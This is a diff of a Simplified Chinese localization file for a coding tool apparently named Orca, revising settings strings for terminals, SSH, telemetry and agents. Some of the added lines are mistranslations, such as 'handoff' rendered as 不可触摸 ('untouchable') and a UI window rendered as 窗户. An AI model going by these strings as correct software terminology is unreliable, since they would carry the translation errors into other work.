             "4ada6bfde9": "搜索",
             "fa60d8e4ab": "压制",
             "a4c3b29a3c": "专注的",
-            "7247b97a31": "当 Orca 聚焦于活动工作树时，避免发出通知。",
+            "7247b97a31": "当 Orca 聚焦于活动工作树时，避免发出通知",
             "a2ab73b325": "注意力",
             "ae0487f8fd": "钟",
             "c638ae989d": "终端",
-            "d3f1c48677": "当后台终端发出响铃字符时发出通知。",
+            "d3f1c48677": "当后台终端发出响铃字符时发出通知",
             "193e1f107c": "任务",
             "dd9d3e5f0f": "idle",
             "5f7472d3fb": "完全的",
-            "7fa07e9600": "智能体",
-            "10d83ef8dc": "当编码智能体从工作状态转换为空闲状态时发出通知。",
+            "7fa07e9600": "代理",
+            "10d83ef8dc": "当编码代理从工作状态转换为空闲状态时发出通知",
             "adbc3a0fcf": "原生",
             "72539aede4": "系统",
             "51ae2183e1": "桌面",
-            "0534c76311": "Orca 桌面通知的主开关。",
+            "0534c76311": "Orca 桌面通知的主开关",
             "machines": "机器",
-            "machinesDescription": "选择哪些机器可以在此电脑上显示通知，例如 SSH 机器或已配对的服务器。",
+            "machinesDescription": "选择哪些机器可以在此电脑上显示通知，例如 SSH 机器或已配对的服务器",
             "host": "主机",
             "remote": "远程",
             "ssh": "ssh",
@@ -9930,22 +10223,22 @@
         },
         "orchestration": {
           "search": {
-            "f5d39af41e": "子智能体",
-            "c766a01978": "交接",
+            "f5d39af41e": "子代理",
+            "c766a01978": "不可触摸",
             "08c65b12a2": "例子",
             "f278fd04db": "codex",
             "32c5098e7b": "claude",
             "21c28ccdf7": "协调员",
-            "741dfc03fa": "工作智能体",
+            "741dfc03fa": "工人",
             "ca54c69806": "有向无环图",
             "7ad948b714": "任务",
             "eee028ae14": "派遣",
             "9a5ebdca31": "消息传递",
             "91fc8ab7e5": "协调",
-            "13ba5c6cbd": "智能体",
-            "d86705ba77": "多智能体",
+            "13ba5c6cbd": "代理",
+            "d86705ba77": "多代理",
             "a7f76b4ca7": "编排",
-            "e05ff36753": "通过消息传递、任务 DAG、调度和决策门来协调多个编码智能体。",
+            "e05ff36753": "通过消息传递、任务 DAG、调度和决策门来协调多个编码代理",
             "abafc3f10f": "智能体编排"
           }
         },
@@ -9960,11 +10253,11 @@
             "69637f4dc4": "orca_telemetry_disabled",
             "058550f6bc": "不跟踪",
             "83a6cd79b3": "不跟踪",
-            "f7a2d9f137": "禁用遥测传输的环境变量。",
+            "f7a2d9f137": "禁用遥测传输的环境变量",
             "e058a3c98d": "遥测环境变量",
             "1686c07fee": "支持",
             "c0494ff48a": "诊断",
-            "8b08f32366": "应用诊断和支持共享控件。",
+            "8b08f32366": "应用诊断和支持共享控件",
             "6d258d2ed6": "诊断",
             "ead1deded2": "分享",
             "27a27b2f63": "选择退出",
@@ -9972,11 +10265,11 @@
             "b021b9cb81": "匿名的",
             "79c319948b": "用量",
             "77d3180def": "遥测",
-            "b707cc3981": "通过发送匿名功能使用事件来帮助改进 Orca。",
+            "b707cc3981": "通过发送匿名功能使用事件来帮助改进 Orca",
             "2b5a5c312f": "邮差",
             "4104f6f0f3": "分析",
             "10124159f1": "隐私",
-            "aa3b794c17": "匿名产品使用数据、诊断和遥测控制。",
+            "aa3b794c17": "匿名产品使用数据、诊断和遥测控制",
             "a966af0840": "隐私与遥测",
             "6776226be7": "共享匿名使用数据"
           }
@@ -9989,7 +10282,7 @@
               "b949a7c0a0": "PNPM",
               "0b78c4a165": "启动",
               "2d8aff42be": "执行",
-              "1c5bdcd0f2": "仓库",
+              "1c5bdcd0f2": "存储库",
               "89d2a9ad9f": "仓库",
               "f58b92a48f": "项目",
               "8bf43c2dad": "全局的",
@@ -9999,7 +10292,7 @@
               "cfffa6cdb6": "命令",
               "fecb031823": "命令",
               "236d4cfac8": "快的",
-              "d691c4e8d8": "保存的终端命令可以从任何终端启动，范围全局或特定项目。",
+              "d691c4e8d8": "保存的终端命令可以从任何终端启动，范围全局或特定项目",
               "915776ccfa": "快捷命令"
             }
           }
@@ -10012,12 +10305,12 @@
             "ec70364df2": "工作流程",
             "66b584bd6c": "issue 命令",
             "2011a6a4f2": "GitHub issue 命令",
-            "d42d1e49c0": "通过 orca.yaml 和可选本地覆盖配置的基于文件的关联议题命令。",
+            "d42d1e49c0": "通过 orca.yaml 和可选本地覆盖配置的基于文件的关联议题命令",
             "c5e8bdbcbb": "默认跳过",
             "a69c5cbe90": "默认运行",
             "80c490b012": "问",
             "f9d84b7971": "设置运行策略",
-            "c00a549e03": "当安装脚本可用时选择默认行为。",
+            "c00a549e03": "当安装脚本可用时选择默认行为",
             "5e9445bbfd": "权威性",
             "f1e1bfa89f": "来源",
             "1d90a6cfbb": "两个都",
@@ -10025,7 +10318,7 @@
             "0432d2fb7c": "当地的",
             "ed269fad69": "命令源",
             "19f58d6d89": "高级",
-            "d141897c90": "命令源和 orca.yaml 详细信息。",
+            "d141897c90": "命令源和 orca.yaml 详细信息",
             "cc11699c3d": "高级",
             "bf460fded8": "yaml",
             "9cad92fe77": "Orca.yaml 挂钩",
@@ -10043,14 +10336,14 @@
             "e760e3fae7": ".mcp.json",
             "16dc7a4637": "模型上下文协议",
             "343f0a508c": "MCP",
-            "3c31801626": "检查项目级 MCP 服务器配置文件。",
+            "3c31801626": "检查项目级 MCP 服务器配置文件",
             "84da7fa2d7": "节点模块",
             "0a3a582794": "环境",
             "3c180a251c": "关联",
             "f1c53f2820": "工作树",
             "7e228fc439": "符号链接",
             "c06adcf136": "符号链接",
-            "ed885e589f": "从主检出目录放入新建工作树的路径。",
+            "ed885e589f": "从主检出目录放入新建工作树的路径",
             "fff8834983": "提示词",
             "fa3131f223": "模型",
             "130d76dc16": "重命名",
@@ -10060,11 +10353,11 @@
             "eec39b3de6": "commit 消息",
             "cfad7ce5f3": "AI",
             "a47f51127e": "源代码控制",
-            "6cc5c65e64": "项目特定的 git 生成覆盖。",
-            "cc876ca5f2": "仓库",
+            "6cc5c65e64": "项目特定的 git 生成覆盖",
+            "cc876ca5f2": "存储库",
             "6469de5368": "项目",
             "3067595d82": "删除",
-            "c86478c3d8": "从 Orca 中删除该项目。",
+            "c86478c3d8": "从 Orca 中删除该项目",
             "4b9a18a56d": "单一仓库",
             "4e2529722c": "目录",
             "1ff4f12c0c": "目录",
@@ -10072,58 +10365,58 @@
             "095fca94fe": "预设",
             "aa42616e3d": "查看",
             "4f3c0230c2": "疏",
-            "90a331fd68": "保存用于稀疏工作树创建的目录集。",
+            "90a331fd68": "保存用于稀疏工作树创建的目录集",
             "4733ec2395": "../worktrees",
             "58d8bca414": "相对的",
             "a325a89dff": "工作区路径",
             "f3e6dee5fe": "工作树路径",
-            "cd33a5525e": "新工作树的项目特定目录。",
+            "cd33a5525e": "新工作树的项目特定目录",
             "9811f3d152": "分支",
-            "f41cef5083": "基础引用",
-            "f571081ec4": "创建工作树时的默认基本分支或引用。",
+            "f41cef5083": "基本参考",
+            "f571081ec4": "创建工作树时的默认基本分支或引用",
             "27733eb6c1": "图标",
             "1e73e840ff": "表情符号",
             "cb4b4de666": "头像",
             "c1075178cf": "徽章",
             "6d8de2f090": "十六进制",
             "8d045419b1": "颜色",
-            "b2546efab5": "仓库图标",
+            "b2546efab5": "存储库图标",
             "6438a94c63": "项目图标",
-            "a1f3a2bd47": "侧边栏和选项卡中使用的项目图标和颜色。",
-            "cd73b976d7": "仓库名称",
+            "a1f3a2bd47": "侧边栏和选项卡中使用的项目图标和颜色",
+            "cd73b976d7": "存储库名称",
             "92af66c7ce": "项目名称",
-            "883aad2801": "侧边栏和选项卡的项目特定显示详细信息。",
+            "883aad2801": "侧边栏和选项卡的项目特定显示详细信息",
             "keepForkUpToDate": "保持 Fork 最新",
-            "keepForkUpToDateDescription": "从 upstream 安全地快进此 Fork。",
-            "projectRuntimeDescription": "选择此项目运行在 Windows 还是 WSL。",
-            "githubAccountDescription": "为该项目的 GitHub API 调用绑定密钥环中的 gh 登录。",
+            "keepForkUpToDateDescription": "从 upstream 安全地快进此 Fork",
+            "projectRuntimeDescription": "选择此项目运行在 Windows 还是 WSL",
+            "githubAccountDescription": "为该项目的 GitHub API 调用绑定密钥环中的 gh 登录",
             "githubAccountKeyword": "GitHub 账户",
             "ghAccount": "gh 账户",
             "login": "登录",
             "token": "token",
             "externalWorktrees": "外部工作树",
-            "externalWorktreesDescription": "覆盖是否为此项目显示在 Orca 外部创建的工作树。",
+            "externalWorktreesDescription": "覆盖此项目是否显示在 Orca 外部创建的工作树",
             "copy": "复制",
             "clone": "克隆",
             "apfs": "apfs",
-            "waitForSetupBeforeAgent": "启动智能体之前等待设置",
-            "external": "外部的",
-            "visibility": "能见度",
+            "waitForSetupBeforeAgent": "等待设置完成后再启动代理",
+            "external": "外部",
+            "visibility": "可见性",
             "sidebar": "侧边栏",
-            "fork": "叉",
+            "fork": "派生仓库",
             "upstream": "upstream",
-            "syncFork": "同步叉",
+            "syncFork": "同步派生仓库",
             "fastForward": "快进",
-            "behindUpstream": "上游后面",
+            "behindUpstream": "落后于上游",
             "origin": "起源",
             "defaultBranch": "默认分支",
             "runtime": "运行时",
             "execution": "执行",
-            "windowsHost": "视窗主机",
-            "wsl": "wsl",
+            "windowsHost": "Windows 主机",
+            "wsl": "WSL",
             "distro": "发行版",
-            "agentRuntime": "智能体运行时",
-            "skillRuntime": "技能运行时间",
+            "agentRuntime": "代理运行时",
+            "skillRuntime": "技能运行时",
             "0fe07b9e90": "项目图标",
             "810b9f4106": "设置脚本",
             "355868ac19": "稀疏检出预设",
@@ -10153,7 +10446,7 @@
               "09568ccc65": "服务器",
               "ebd5369acf": "环境",
               "d198440ce3": "运行时",
-              "baec27aa8f": "将此浏览器连接到已保存的 Orca 服务器。",
+              "baec27aa8f": "将此浏览器连接到已保存的 Orca 服务器",
               "c6e5a03aa0": "开发盒",
               "f1575f1e09": "网络客户端",
               "81444c4102": "配对网址",
@@ -10161,7 +10454,7 @@
               "defaultHostKeyword": "默认主机",
               "newProjectsKeyword": "新项目",
               "activeServerKeyword": "活动服务器",
-              "addShareDefault": "添加远程 Orca 服务器、共享此电脑，或选择新项目的打开位置。",
+              "addShareDefault": "添加远程 Orca 服务器、共享此电脑，或选择新项目的打开位置",
               "shareComputerKeyword": "共享此电脑",
               "accessLinkKeyword": "访问链接",
               "installKeyword": "安装服务器",
@@ -10170,8 +10463,8 @@
           }
         },
         "shortcutDefinitionCatalog": {
-          "missionControlConflict": "已被调度中心拦截。在此重新映射，或在系统设置中更改。",
-          "bindingConflict": "{{binding}} 与 {{actions}} 冲突。"
+          "missionControlConflict": "已被调度中心拦截，在此重新映射，或在系统设置中更改",
+          "bindingConflict": "{{binding}} 与 {{actions}} 冲突"
         },
         "shortcuts": {
           "search": {
@@ -10179,13 +10472,13 @@
             "4811a8264a": "终端优先",
             "afda131738": "Orca 优先",
             "0ecfc47434": "冲突",
-            "0f8cb15582": "智能体",
+            "0f8cb15582": "代理",
             "f1adebbe8c": "Shell",
             "7f1b38f59a": "推",
             "7e3fc707aa": "终端",
             "0ecba9aa5f": "键盘",
-            "ebd7d81e1d": "选择当快捷键重叠时 Orca 或焦点终端是否获胜。",
-            "groupShortcut": "{{value0}} 快捷方式",
+            "ebd7d81e1d": "快捷键冲突时，选择由 Orca 还是当前终端优先处理",
+            "groupShortcut": "{{value0}} 快捷键",
             "d6b5c7dd6d": "终端中的快捷键"
           }
         },
@@ -10195,19 +10488,19 @@
             "237b391f7c": "联系",
             "8cb870b109": "测试",
             "7efd17e816": "SSH",
-            "96ca5d9a0b": "测试与 SSH 目标的连接。",
+            "96ca5d9a0b": "测试与 SSH 目标的连接",
             "2cd40ba0d0": "主机",
             "5220501141": "配置",
             "3b12e064a4": "导入",
-            "7f251a45a8": "从 ~/.ssh/config 导入主机。",
+            "7f251a45a8": "从 ~/.ssh/config 导入主机",
             "f9493b80c0": "服务器",
             "8fb1cc87cc": "主机",
             "09395490af": "目标",
             "00d1fda01a": "新的",
             "f7b6383aec": "添加",
-            "62826efbe9": "添加新的 SSH 主机。",
+            "62826efbe9": "添加新的 SSH 主机",
             "d4bcd497c7": "远程",
-            "74c6d90d78": "管理 SSH 主机。",
+            "74c6d90d78": "管理 SSH 主机",
             "53ae83cb55": "SSH 连接",
             "893c8717f2": "从 SSH 配置导入",
             "50416e3809": "测试连接",
@@ -10226,7 +10519,7 @@
             "3d81c26d78": "来源",
             "cf0e3e0c2f": "提供者",
             "2ec54bee51": "任务",
-            "providersDescription": "连接任务提供商、安装 Linear 智能体技能并选择要在任务中显示的内容。",
+            "providersDescription": "连接任务提供商、安装 Linear 代理技能并选择要在任务中显示的内容",
             "setup": "设置",
             "apiKey": "API 密钥",
             "skill": "技能",
@@ -10248,7 +10541,7 @@
               "10d73e22d3": "剪贴板",
               "9dfc125cd3": "操作系统52",
               "62d1208b90": "振荡器52",
-              "459fea094a": "让终端中的程序通过 OSC 52（包括通过 SSH）复制到系统剪贴板。",
+              "459fea094a": "让终端中的程序通过 OSC 52(包括通过 SSH)复制到系统剪贴板",
               "4043e294d2": "gnome",
               "cf83ac3dbd": "操作系统",
               "737cef6de1": "x11",
@@ -10270,25 +10563,25 @@
             "11fd3fbcf2": "安西",
             "d8bd6182b8": "覆盖",
             "674b7c8436": "颜色",
-            "3023e01415": "覆盖各个终端颜色。",
+            "3023e01415": "覆盖各个终端颜色",
             "6eaf7ee0e4": "光标",
             "34fe1af39d": "打字",
             "ee611ae238": "隐藏",
             "ea364ce6e4": "老鼠",
-            "77201c0bb2": "在终端中输入时隐藏鼠标光标。",
+            "77201c0bb2": "在终端中输入时隐藏鼠标光标",
             "f25d948664": "利润",
             "b2f52cb96c": "间距",
             "e8baf0d12c": "填充",
-            "4655567c37": "终端网格周围的垂直填充（以像素为单位）。",
-            "75691e4911": "终端网格周围的水平填充（以像素为单位）。",
+            "4655567c37": "终端网格周围的垂直填充(以像素为单位)",
+            "75691e4911": "终端网格周围的水平填充(以像素为单位)",
             "6c2f9f05c8": "活力",
             "4f7f8f28ca": "透明度",
             "f6dd9ff606": "背景",
             "71eb45e293": "模糊",
-            "0838b3717b": "窗口",
+            "0838b3717b": "窗户",
             "7db59c4738": "阿尔法",
             "46d99ef4bb": "不透明度",
-            "4c643695aa": "控制终端背景的透明度。",
+            "4c643695aa": "控制终端背景的透明度",
             "d4daf4f612": "解冻",
             "88561b3499": "冷冻的",
             "0a05629060": "恢复",
@@ -10303,11 +10596,11 @@
             "d802a578bf": "会话",
             "9f2dda133c": "普蒂",
             "f35400f7e8": "守护进程",
-            "f72abc493c": "通过终止会话、清除保存的回滚缓冲区或重新启动守护进程，从冻结的终端中恢复。",
+            "f72abc493c": "通过终止会话、清除保存的回滚缓冲区或重新启动守护进程，从冻结的终端中恢复",
             "10f9fb6fea": "设置",
             "2ade3ea490": "配置",
             "fd752b3cac": "导入",
-            "73e9422f19": "一次性导入受支持的 Ghostty 终端设置。",
+            "73e9422f19": "一次性导入受支持的 Ghostty 终端设置",
             "a979df0083": "从 Ghostty 导入",
             "4cec42dbf7": "国际",
             "b495dc6a9f": "吉斯",
@@ -10317,7 +10610,7 @@
             "24f7977756": "日本人",
             "98059d0944": "反斜杠",
             "9c35f56625": "日元",
-            "063914c486": "控制是否按 JIS 日元 (¥) 键发送反斜杠 (\\)。",
+            "063914c486": "控制是否按 JIS 日元 (¥) 键发送反斜杠 (\\)",
             "694b8764ac": "JIS 日元 (¥) 至 反斜杠 (\\)",
             "fae142a354": "阅读线",
             "b3b94cfcb5": "国际的",
@@ -10327,47 +10620,47 @@
             "38f1b4f4cb": "按键",
             "c4427dc5ff": "替代",
             "b37edfc65a": "选项",
-            "1f8b00f5ce": "控制 macOS Option 键是发送 Alt/Esc 序列还是组合字符。反映 Ghostty 的 macos-option-as-alt。",
+            "1f8b00f5ce": "控制 macOS Option 键发送 Alt/Esc 还是组合字符(同 Ghostty)",
             "9bd7229927": "选项作为 Alt",
             "affb14efd4": "选择",
             "d2a366c7f9": "双击",
             "4ed3e239a8": "边界",
             "d4aeafac10": "分隔符",
             "7286cd2566": "单词",
-            "3ab64c47d8": "双击选择时将字符视为单词边界。",
+            "3ab64c47d8": "双击选择时将字符视为单词边界",
             "56fff3d113": "内存",
             "fffdff40a7": "缓冲",
             "rows": "行",
-            "f7d56b6281": "保留的桌面终端行数。",
+            "f7d56b6281": "保留的桌面终端行数",
             "411229c636": "浅色",
             "781f49d942": "分隔线",
-            "77d9f9cd55": "控制浅色模式下窗格之间的分割分隔线。",
+            "77d9f9cd55": "控制浅色模式下窗格之间的分割分隔线",
             "7718d70356": "预览",
-            "1dee533bd9": "选择 Orca 处于浅色模式时使用的主题。",
+            "1dee533bd9": "选择 Orca 处于浅色模式时使用的主题",
             "da864e6cec": "浅色模式",
-            "f268092ee3": "浅色模式可以使用自己的终端主题。",
+            "f268092ee3": "浅色模式可以使用自己的终端主题",
             "match_dark_mode_title": "匹配深色模式",
             "f785374072": "深色",
-            "9c32726f47": "控制深色模式下窗格之间的分割分隔线。",
-            "13f6310dd3": "选择深色模式下使用的终端主题。",
+            "9c32726f47": "控制深色模式下窗格之间的分割分隔线",
+            "13f6310dd3": "选择深色模式下使用的终端主题",
             "f036794286": "活跃",
             "846a7a1204": "窗格",
             "d1fa00a9cb": "徘徊",
             "b5116e7b12": "如下",
             "f5d1e3d472": "重点",
-            "17cc3ea102": "将鼠标悬停在终端窗格上即可将其激活，无需单击。反映 Ghostty 的焦点跟随鼠标设置。选择和窗口切换保持安全。",
+            "17cc3ea102": "悬停即可激活终端窗格，无需点击(同 Ghostty 焦点跟随鼠标)",
             "f637a7dee9": "厚度",
-            "e58d4040d0": "窗格分隔线的粗细。",
+            "e58d4040d0": "窗格分隔线的厚度",
             "6c4c85ba43": "调光",
-            "18dd5026c6": "不透明度应用于当前不活动的窗格。",
-            "d4f7d1ce5c": "终端光标的不透明度。",
+            "18dd5026c6": "不透明度应用于当前不活动的窗格",
+            "d4f7d1ce5c": "终端光标的不透明度",
             "25f606d9e5": "眨",
-            "a27f6edf52": "使用所选光标形状的闪烁变体。",
+            "a27f6edf52": "使用所选光标形状的闪烁变体",
             "b03d01fd49": "闪烁 Cursor",
             "eefd1d8332": "下划线光标",
             "015c82349f": "块状光标",
             "a6e9dcc829": "竖线光标",
-            "275a9d6395": "Orca 终端窗口的默认光标外观。",
+            "275a9d6395": "Orca 终端窗口的默认光标外观",
             "1abcf4d7de": "操作系统",
             "7d924d870d": "图形",
             "bc7ae1f7c0": "渲染",
@@ -10375,7 +10668,7 @@
             "6cddc858ba": "网页GL",
             "4b4e80d850": "加速度",
             "db82cb13b0": "图形处理器",
-            "8f9f953de7": "控制终端是否使用 xterm.js WebGL 渲染。当渲染器受支持时，自动尝试 WebGL，并为软件或未知 GPU 渲染器提供保守的后备方案。",
+            "8f9f953de7": "控制终端是否使用 xterm.js WebGL，「自动」在支持时启用，否则回退",
             "d5e6c7fab1": "字体特性",
             "a16224d16a": "calt",
             "6ded6297fe": "约塞夫卡",
@@ -10385,18 +10678,18 @@
             "7ab424c4d3": "结扎",
             "afc8d5f790": "连字",
             "103cdb862f": "版式",
-            "893aa92997": "为发布它们的字体渲染编程连字（例如 => → ≠ ≥）。 “自动”仅对已知的连字字体（Fira Code、JetBrains Mono、Cascadia Code、Iosevka 等）启用连字。",
+            "893aa92997": "为支持的字体渲染编程连字，「自动」仅对已知连字字体启用",
             "7341e3d00e": "行高",
-            "36a1b38bc8": "控制终端线高度乘数。",
+            "36a1b38bc8": "控制终端线高度乘数",
             "20ce287cc6": "重量",
-            "98c18f2c77": "控制终端文本字体粗细。",
+            "98c18f2c77": "控制终端文本字体粗细",
             "b0bb76ae6b": "字体",
-            "0acdc17891": "新窗格和实时更新的默认终端字体系列。",
+            "0acdc17891": "新窗格和实时更新的默认终端字体系列",
             "33031c1465": "文字大小",
-            "0fe0073f0c": "新窗格和实时更新的默认终端字体大小。",
+            "0fe0073f0c": "新窗格和实时更新的默认终端字体大小",
             "warp_import": {
               "title": "从 Warp 导入",
-              "description": "将 Warp 主题导入为 Orca 终端主题。",
+              "description": "将 Warp 主题导入为 Orca 终端主题",
               "keyword_warp": "warp",
               "keyword_themes": "themes",
               "keyword_yaml": "yaml",
@@ -10404,13 +10697,13 @@
             },
             "yaml_import": {
               "title": "从 YAML 导入",
-              "description": "将主题 YAML 文件导入为 Orca 终端主题。",
+              "description": "将主题 YAML 文件导入为 Orca 终端主题",
               "keyword_yaml": "yaml",
               "keyword_custom": "自定义"
             },
-            "ask_before_closing_running_terminals_description": "在关闭有运行中命令或智能体的终端前显示确认。",
+            "ask_before_closing_running_terminals_description": "在关闭有运行中命令或代理的终端前显示确认",
             "scrollSpeed": {
-              "description": "调整普通终端回滚、修饰键快速滚动以及全屏 TUI 滚轮速度。",
+              "description": "调整普通终端回滚、修饰键快速滚动以及全屏 TUI 滚轮速度",
               "dd481aaad2": "滚动速度"
             },
             "theme_target": {
@@ -10422,21 +10715,21 @@
             "scroll": "滚动",
             "scrolling": "滚动",
             "speed": "速度",
-            "wheel": "车轮",
+            "wheel": "滚轮",
             "trackpad": "触控板",
-            "tui": "推",
+            "tui": "TUI",
             "a0c44061ee": "确认",
             "close_terminal": "关闭",
             "running": "运行中",
             "command": "命令",
-            "agent": "智能体",
-            "process": "过程",
+            "agent": "代理",
+            "process": "进程",
             "prompt": "提示词",
             "stop": "停止",
             "minimumContrast": {
-              "description": "提高文本可读性或保留终端程序选择的颜色。",
-              "contrast": "对比",
-              "minimum": "最低限度",
+              "description": "提高文本可读性，或保留终端程序设置的颜色",
+              "contrast": "对比度",
+              "minimum": "最低",
               "ratio": "比率",
               "readability": "可读性",
               "wcag": "西加格",
@@ -10490,7 +10783,7 @@
               "e55186fe2b": "右键单击",
               "28ff08ed35": "视窗",
               "e7d2793b03": "终端",
-              "8ba875c132": "右键单击将剪贴板粘贴到终端中。使用 Ctrl+右键单击打开上下文菜单。",
+              "8ba875c132": "右键单击将剪贴板粘贴到终端中，使用 Ctrl+右键单击打开上下文菜单",
               "f0b8448570": "右键单击粘贴",
               "04994f6929": "默认",
               "d57f870938": "高级",
@@ -10499,14 +10792,14 @@
               "768613e483": "powershell 7",
               "f9162f0b8e": "窗口 Powershell",
               "2d99cd91be": "powershell",
-              "41a69bc24d": "选择新建终端窗口时，PowerShell 终端选项是使用 Windows PowerShell 还是 PowerShell 7+ 启动。",
+              "41a69bc24d": "新建终端时 PowerShell 启动 Windows PowerShell 还是 PowerShell 7+",
               "07ec155fb6": "bash.exe",
               "5a2db98d23": "bash",
               "591912177b": "gitbash",
               "12519edb5d": "命令提示符",
               "6cd20b9e64": "指令",
               "7c7056940a": "shell",
-              "713c4a2f92": "为 Windows 上的新终端窗格选择默认 Shell。",
+              "713c4a2f92": "为 Windows 上的新终端窗格选择默认 Shell",
               "6efd8b2174": "PowerShell版本",
               "94792c10ac": "默认 Shell"
             }
@@ -10523,19 +10816,19 @@
               "3d8b853963": "演讲",
               "080202facb": "模型",
               "7640ed9848": "语音",
-              "56defcd6c3": "选择用于听写的本地或云语音转文本模型。",
+              "56defcd6c3": "选择用于听写的本地或云语音转文本模型",
               "931b1a9e53": "即按即说",
-              "064a9bd94a": "抓住",
+              "064a9bd94a": "保持",
               "6fa48bcd41": "切换",
               "d86f5600da": "模式",
               "089d31a45b": "听写",
-              "748b33e531": "切换或按住说话听写行为。",
+              "748b33e531": "切换或按住说话听写行为",
               "e360027a65": "麦克风",
-              "698376a38d": "语音听写功能的主开关。",
+              "698376a38d": "语音听写功能的主开关",
               "322d457a0d": "转录",
-              "dcc7846641": "配置用于云语音转文本模型的 OpenAI API 密钥。",
+              "dcc7846641": "配置用于云语音转文本模型的 OpenAI API 密钥",
               "microphoneTitle": "麦克风",
-              "microphoneDescription": "选择语音听写使用的输入设备。",
+              "microphoneDescription": "选择语音听写使用的输入设备",
               "micInput": "输入",
               "micDevice": "设备",
               "micAirpods": "耳机",
@@ -10572,17 +10865,17 @@
             "action": {
               "recipe": {
                 "options": {
-                  "commitMessage": "根据已暂存的更改生成提交信息。",
-                  "pullRequest": "生成托管评论标题和描述。",
-                  "branchName": "重命名 Orca 从初始智能体任务创建的分支。",
-                  "fixCommitFailure": "当 commit 挂钩或 git commit 失败时启动智能体。",
-                  "fixChecks": "从失败的托管评审检查中启动智能体。",
-                  "resolveConflicts": "启动用于解决本地或托管评审合并冲突的智能体。",
+                  "commitMessage": "根据已暂存的更改生成提交信息",
+                  "pullRequest": "生成托管评论标题和描述",
+                  "branchName": "重命名 Orca 从初始代理任务创建的分支",
+                  "fixCommitFailure": "当 commit 挂钩或 git commit 失败时启动代理",
+                  "fixChecks": "从失败的托管评审检查中启动代理",
+                  "resolveConflicts": "启动用于解决本地或托管评审合并冲突的代理",
                   "customCommand": "自定义命令",
-                  "supportedAgents": "此预设支持的智能体：{{value0}}。",
-                  "unsupportedSavedAgent": "{{value0}} 无法运行此文本生成预设。请在下方选择一个支持的智能体。",
-                  "resolveComments": "从选中的未解决 PR 或 MR 评论启动智能体。",
-                  "fixPushFailure": "当 pre-push 钩子或 git push 失败时启动智能体。",
+                  "supportedAgents": "此预设支持的代理：{{value0}}",
+                  "unsupportedSavedAgent": "{{value0}} 无法运行此文本生成预设，请在下方选择一个支持的代理",
+                  "resolveComments": "从选中的未解决 PR 或 MR 评论启动代理",
+                  "fixPushFailure": "当 pre-push 钩子或 git push 失败时启动代理",
                   "commitMessageSharedModel": "拉取请求详情、分支名称和聊天名称未选择自己的模型时也可以使用此模型；其“与默认值相同”选项会显示所用模型。"
                 }
               }
@@ -10591,54 +10884,69 @@
         },
         "agent-awake-copy": {
           "modeTitle": "防止电脑休眠",
-          "modeDescriptionWindows": "选择“打开”、“智能体”或“关闭”。智能体工作时智能体模式保持唤醒状态；盖子关闭行为遵循该设备的电源设置。",
-          "modeDescriptionMac": "选择“打开”、“智能体”或“关闭”。智能体模式会在智能体工作时防止空闲休眠，因此开盖即可完成长时间任务。合上盖子仍会使此 Mac 进入睡眠状态。",
-          "modeDescriptionDefault": "选择“打开”、“智能体”或“关闭”。当智能体工作时，智能体模式保持唤醒状态。 Orca 还要求该设备在盖子关闭时保持唤醒状态，具体取决于其电源策略。",
-          "lidNoteMac": "开盖时防止空闲休眠；合上盖子仍会使此 Mac 进入睡眠状态。",
-          "lidNoteWindows": "合盖行为遵循该设备的电源设置。",
-          "lidNoteDefault": "Orca 还要求该设备在盖子关闭时保持唤醒状态，具体取决于其电源策略。"
+          "modeDescriptionWindows": "选择\"打开\"、\"代理\"或\"关闭\"，代理工作时代理模式保持唤醒状态，盖子关闭行为遵循该设备的电源设置",
+          "modeDescriptionMac": "选择\"打开\"、\"代理\"或\"关闭\"，代理模式会在代理工作时防止空闲休眠，因此开盖即可完成长时间任务，合上盖子仍会使此 Mac 进入睡眠状态",
+          "modeDescriptionDefault": "选择\"打开\"、\"代理\"或\"关闭\"，当代理工作时，代理模式保持唤醒状态，Orca 还要求该设备在盖子关闭时保持唤醒状态，具体取决于其电源策略",
+          "lidNoteMac": "开盖时防止空闲休眠，合上盖子仍会使此 Mac 进入睡眠状态",
+          "lidNoteWindows": "合盖行为遵循该设备的电源设置",
+          "lidNoteDefault": "Orca 还要求该设备在盖子关闭时保持唤醒状态，具体取决于其电源策略"
         },
         "AgentAwakeSetting": {
           "on": "开启",
-          "auto": "智能体",
+          "auto": "代理",
           "off": "关闭"
         },
         "RepositoryGitHubAccountSection": {
-          "unsupported": "此运行时的 GitHub CLI 版本过旧，不支持账户绑定（需要 gh ≥ 2.40）。",
-          "capabilityUnknown": "无法确定此运行时的 GitHub CLI 是否支持账户绑定。请重试。",
-          "envToken": "环境令牌账户无法绑定。请使用密钥环登录。",
-          "invalidBinding": "该 GitHub 账户绑定无效。",
-          "unavailable": "该 GitHub 账户在此运行时不可用。",
-          "saveFailed": "无法保存 GitHub 账户绑定。",
-          "description": "为此项目的 GitHub 议题和拉取请求调用使用特定的 gh 登录。",
-          "longDescription": "Orca 会将所选密钥环登录的短期令牌注入此项目的每次 gh 调用。项目视图继续使用当前活动的 gh 登录。",
+          "unsupported": "此运行时的 GitHub CLI 版本过旧，不支持账户绑定（需要 gh ≥ 2.40）",
+          "capabilityUnknown": "无法确定此运行时的 GitHub CLI 是否支持账户绑定，请重试",
+          "envToken": "环境令牌账户无法绑定，请使用密钥环登录",
+          "invalidBinding": "该 GitHub 账户绑定无效",
+          "unavailable": "该 GitHub 账户在此运行时不可用",
+          "saveFailed": "无法保存 GitHub 账户绑定",
+          "description": "为此项目的 GitHub 议题和拉取请求调用使用特定的 gh 登录",
+          "longDescription": "Orca 会将所选密钥环登录的短期令牌注入此项目的每次 gh 调用，项目视图继续使用当前活动的 gh 登录",
           "selectLabel": "账户",
           "ambient": "默认（当前活动的 gh 登录）",
           "unavailableOption": "{{user}} @ {{host}}（不可用）",
-          "capabilityBlocked": "在此运行时的 GitHub CLI 支持 `gh auth token --user`（gh ≥ 2.40）之前，无法使用账户绑定。",
-          "capabilityUnknownHint": "无法确定此运行时的 GitHub CLI 是否支持账户绑定。请清除绑定或重试。",
-          "notEnforced": "已保存，但此运行时（混合版本主机）不会强制执行。",
-          "refreshAccounts": "刷新 GitHub 帐户",
+          "capabilityBlocked": "在此运行时的 GitHub CLI 支持 `gh auth token --user`（gh ≥ 2.40）之前，无法使用账户绑定",
+          "capabilityUnknownHint": "无法确定此运行时的 GitHub CLI 是否支持账户绑定，请清除绑定或重试",
+          "notEnforced": "已保存，但此运行时（混合版本主机）不会强制执行",
+          "refreshAccounts": "刷新 GitHub 账户",
           "b3249d1abc": "GitHub 账户"
         },
         "agent-status-hooks-copy": {
-          "7707c15abb": "智能体状态钩子",
